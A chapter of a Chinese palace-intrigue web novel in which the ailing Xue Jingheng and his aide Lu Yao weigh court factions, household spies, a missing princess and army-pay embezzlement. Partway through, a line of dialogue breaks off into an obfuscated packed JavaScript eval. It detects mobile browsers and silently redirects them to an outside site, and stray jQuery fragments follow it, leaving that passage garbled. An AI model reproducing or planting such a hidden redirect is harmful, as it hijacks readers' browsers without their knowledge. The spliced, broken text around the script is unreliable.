临安城，夜幕低垂，乌云翻涌，连绵的细雨密密织成一片水帘，不停冲刷着朱红色的宫门。
檐角垂落的雨珠接连滑下，敲打在青砖地面上，溅起响亮的水花。
宫门早已落锁，夜风裹挟着湿冷的水汽而过，守门的禁军队伍身着盔甲、手执长剑，在长街上巡逻，仿若幽影立于夜色之中。
远处传来一声沉闷的更鼓，声响被雨幕吞噬，只剩余韵低低回荡，听不清这皇城之中暗藏的风起云涌。
淮安王府，风声呜咽，豆大的雨珠顺着檐角落下，屋内烛火昏黄，映照着雕花窗棂，一片寂静之中，忽然——
“嗒——嗒——”
细微的声响自窗外传来，路遥蓦然睁开眼，警觉地侧耳倾听。
屋外又是一声短促的敲击，他翻身而起赤脚落地的瞬间，已顺手摸上了腰间的匕首。
快步走到窗前手指一动，窗扇微微开启，一道黑影在雨幕中晃了一下，随后，一只缠着油布的信筒悄然落入窗内。
他拆开油布，展开信笺，只见纸张边缘一点不显眼的朱色墨迹，瞳孔微缩，心头猛然一紧。
迅速抓起案上的外袍，推门而出。
书房内，灯火未灭，暗影浮动。
薛景珩立于烛火微跳的书案前，手中执着一只玉雕的镇纸，指腹缓缓展开桌案上密信，边缘微微卷起，黑色的墨迹未干，是匆忙挥落的草书——“上官云湛深夜觐见二皇子。”
宫门已落锁，若无皇命无法进出，上官云湛……竟然能在这等戒严之下悄然入宫？
“怎么回事？”薛景珩缓缓抬起头，声音低沉。
“是宫中暗桩刚刚递来的消息。”
路遥面色焦虑，暗桩是多年前深藏在宫中的一枚棋，为了保护他，薛景珩曾有密令，安静蛰伏暂不启用，待大局定时再建奇功。
然而，今夜匆忙传出消息，足以证明兹事体大。
薛景珩眸色微沉，烛光映照下，他的影子被拉得极长，“宫城守卫由禁军全权负责，你身为副将却毫无察觉，能绕过禁军与宫外上官氏勾连，只能是二皇子皇甫云州自己。”
薛景珩病体未愈，方才又仓促起身，只披着一件深色外袍，衣襟微微敞开，露出里衣一角，隐约可见因久病而显得消瘦的锁骨。两鬓发丝松松散落，唇色淡得近乎无血色。
“……皇甫云州多疑寡恩，且瞧德妃在冬日宴上举止，将赵清蘅送到淮安王府监视我便可知。皇甫云州瞒着我私下结交其他氏族倒也合乎情理……”
烛光映在薛景珩略显单薄的侧脸上，投下深深浅浅的阴影，他神色孤寂却凌厉，“只是，”薛景珩微微一顿，思绪有些困惑，“上官家有古训——不党不附，只忠天子。如今为何仓促选定了二皇子？”
朝堂之上，党争汹涌，派系纷争如暗流潜伏，上官家却始终游离在漩涡之外，既不投靠太子党，也不笼络诸王，只忠圣上，不涉党争。
被外人戏称是皇帝的“私臣“，是天子御下的一柄隐剑。
正因如此，历朝历代皇帝都对上官氏族极其倚重，祖训也保证了氏族于庙堂之上稳如磐石。
薛景珩眉头紧锁，“文帝昏迷前并未立储，除了二皇子皇甫云州，宫中还有年幼聪慧的七皇子可选，尤其七皇子母亲隐贵人，也是出身大族长孙氏，虽然素日低调恭谨，却绝不可小觑……上官氏为何突然孤注一掷押宝在皇甫云州身上，莫不是上官氏内部出了问题？才如此急切地向二皇子投诚，以求借助其势力，互惠互利？”
“难不成是二皇子知晓了山河镜的预言，对您起了杀心，所以主动联络上官氏？”路遥面色担忧。
“不会，”薛景珩摇了摇头，“山河镜的山谷中有四大金刚守护，除了苏怀堂临行前进去过，并无外人闯入。”
他伸手按了按额角，带着些许疲惫，将密信投入烛火之中，火焰顺势燃起，“皇甫云州虽自诩聪明，却短视冲动，凡事稍有风吹草动，便急于处置，生怕自己落入旁人的算计中。”
“……他既无文帝的御下谋算，也无前太子的赤诚贤良，权谋之术只学得皮毛，谋定之心不足。若非为了薛氏，为了祖母的嘱托，我绝不会……”
“罢了，”薛景珩眉心越皱越紧，目光也愈发冷沉，“相较皇甫云州而言，我更担心的是上官云湛。”
宫城之内，波云诡谲，稍有不慎，便是满盘皆输。
路遥十分困惑不解，“本以为上官云湛不过是个置身之外的世家公子，却未曾想，他竟也牵涉党争之中。”
上官云湛是前任上官族长仅有的血脉，是上官夫人的遗腹子。
江湖传言，他出生时患有顽疾半张脸面容丑陋，也有人说，他性格乖张不愿让世人窥见他的真正面目，所以终日戴着半张面具，叫人望而生畏。
上官云湛终日深居简出，鲜少在外人面前走动，只有偶尔传出的只言片语，让外界知晓，这位公子尚在人世。
但关于他的传闻却从未间断。
据说其聪慧绝伦，寥寥几句便可定人生死，幽居内院也能搅动风云，翻覆乾坤。
路遥仔细想了想，“几年前，我曾在宫宴上遥遥见过一次上官云湛，他带着半张面具，一副生人勿进的气场，难道真是面容丑陋或者性格怪癖？”
薛景珩微微抬头，眼神若有所思，“上官夫妇体貌风流，其子纵然因病于容貌上有损，凭借上官氏族的能力遍寻名医也不是问题，我隐隐觉得面具背后藏着上官氏族的秘密，但这背后牵扯的东西，绝非外人所知了。”
“上官云湛私下投靠二皇子此举，可会对咱们淮安王府不利？”路遥想了想道，“上官云谦之前被你贬斥，他会不会心生愤恨，借着皇甫云州的手报复？”
上官云谦是上官夫人老来得子，自幼被娇宠坏了，十分疏懒懈怠，在政务上不甚上心，不久前，南方雨季来临前未能及时加固河坝，以至洛县暴雨决堤、无数百姓流离失所，被众御史上书弹劾。
虽然上官云谦诚心悔过，又有诰命在身的上官老夫人脱簪请罪，薛景珩还是顶住压力，将其连降三级，从正三品总督京畿河道都御史贬为从四品通政使司右参议，处置的毫不容情，完全没有顾忌三朝重臣上官氏的面子。
“不会”，薛景珩眼中带着十分笃定，摇摇头，“上官云谦虽然冠上官姓，实则是上官云湛同母异父的弟弟。上官大人故去后，上官夫人抚育遗腹子上官云湛暂代族长之位，这么多年身侧养了不少面首取乐，上官云谦生父不过是一个得宠的面首……他自幼锦衣玉食，被娇养得一身风雅气，并非精于权谋之人，也无意涉足庙堂之争，终日围着陵瑛县主裙边打转，爱美人不爱江山，只想花前月下做个富贵闲人。”
良久，薛景珩终于轻笑了一声，“这朝堂真是越来越有趣了。”
火舌吞噬了信纸，化作灰烬，翻卷着消散在夜色里。
火光映在薛景珩的眼底，仿佛有情绪隐隐流转，却又转瞬即逝。
“赵清蘅可还安分守己？”薛景珩轻轻合上眼眸，状似不经意提问道，“与德妃可有消息传递往来？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791481|187169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
路遥点了点头，“赵小姐除了相貌神似萧音，倒也有几分聪慧通透，她整日安居后院，少与人往来，除非德妃宫中前来询问，否则并不主动与宫中通信……倒是……”
路遥看了看景珩的脸色，顿了顿，接着说道，“倒是十一娘原本柔顺恭敬，却在丫鬟秋燕几番挑唆下，仗着是府中老人，吃穿用度皆要压过赵清蘅，暗中搅得府里动荡不安。”
薛景珩叹了口气，“十一娘是碧落坊的人，是为了寻找山河令下落才进府，平素听命于苏怀堂，行事用情也有几分苏怀堂的影子，一旦下定了决心便专一果决、不留退路……她从前效忠苏怀堂，便专心打理醉吟楼，替碧落坊网罗消息；后来被送来照料我，便一门心思侍奉新主，绝无二念；只是，如今被抬为姨娘，虽然是权宜之计，却怕是动了不该有的心思……”
“碧落坊？你既然早就知道，为何……”路遥大吃一惊。
“苏怀堂的性子你还不清楚吗？任凭我怎么解释山河令不在淮安王府，只要他没有亲自确认终是不肯相信的。”
薛景珩轻挑眉头，话音带着几分好笑，“况且十一娘虽出身醉吟楼却品性温良，在府内做事妥帖周全。虽少了些自立之志，只愿将性命前程尽系于男子一念之间，但我知其忠贞可嘉，亦当怜其依附过甚。只要不闹出格，其他就看在苏怀堂的面子上，随她去吧。”
烛火摇曳，昏黄的光影在书案上缓缓游走。夜深露重，书房静得只剩风穿窗缝的轻响。
薛景珩脸色苍白，唇色微敛，一只手按着胸口，呼吸略显急促，似是旧疾又隐隐发作。他的眼神却越过案前堆叠的密折，一直盯着那只从火灾中捡到的蛊魂铃，沉默不语。
犹豫再三问出口，“她……还是没有消息？”他低哑地开口，声音带着几分沙哑与疲惫，像是从喉间一点点挤出来的。
路遥心神一晃，垂眸摇了摇头，声音压得极低：“是我无能，仍未查得郡主下落。苏公子传信回来，只说在兰亭镇发现些蛛丝马迹，已经调了碧落坊的人暗中追查。”
薛景珩眼中的微光倏然暗了几分。他低头轻咳了两声，胸口微微起伏，袖中握紧的手指微颤，隐忍却不发作。
片刻，他抬手挥了挥，语气恢复了几分冷静：“……西疆边军贪腐之事，查得如何？”
路遥闻言气不打一处来，愤愤道：“已查实确有人私吞军饷，只是他们畏惧幕后之人的威势，不敢交代真正的幕后指使。”
路遥抬眼偷窥薛景珩神色，“西北本就苦寒，加之近来雨雪骤降，天气异象颇多，结果前线将士按例应得的月饷和口粮却无故被拖欠多月，听闻巡营时有人见到他们……多用麻绳缠脚御寒，去抵抗戎狄的袭扰进犯，实在叫人心酸。”
薛景珩静默片刻，指尖缓缓拂过案上路遥搜集的书函证据。烛火映着他略显苍白的脸，
神情冷峻如霜。
语调虽轻，却字字如锋：
“将士戍边，难求一餐温饱。而庙堂之上，盛宴笙歌从未歇止。”
他抬眼望向窗外漆黑夜色，眸光幽深。
“贪腐，犹胜刀兵之祸。若纵容此风蔓延，军心必溃，民心必离……
无民之君，何异于无根之木？无众之国，何以称天子天下！？“
说到此处，他轻咳两声，手扶桌角，强忍病势带来的虚弱，语气却愈发沉稳：“天子犯法与庶民同罪”，他低声道，像是在自语，又像是在下定决心。
夜色无声流转，临安城的棋局，又要重新落子了。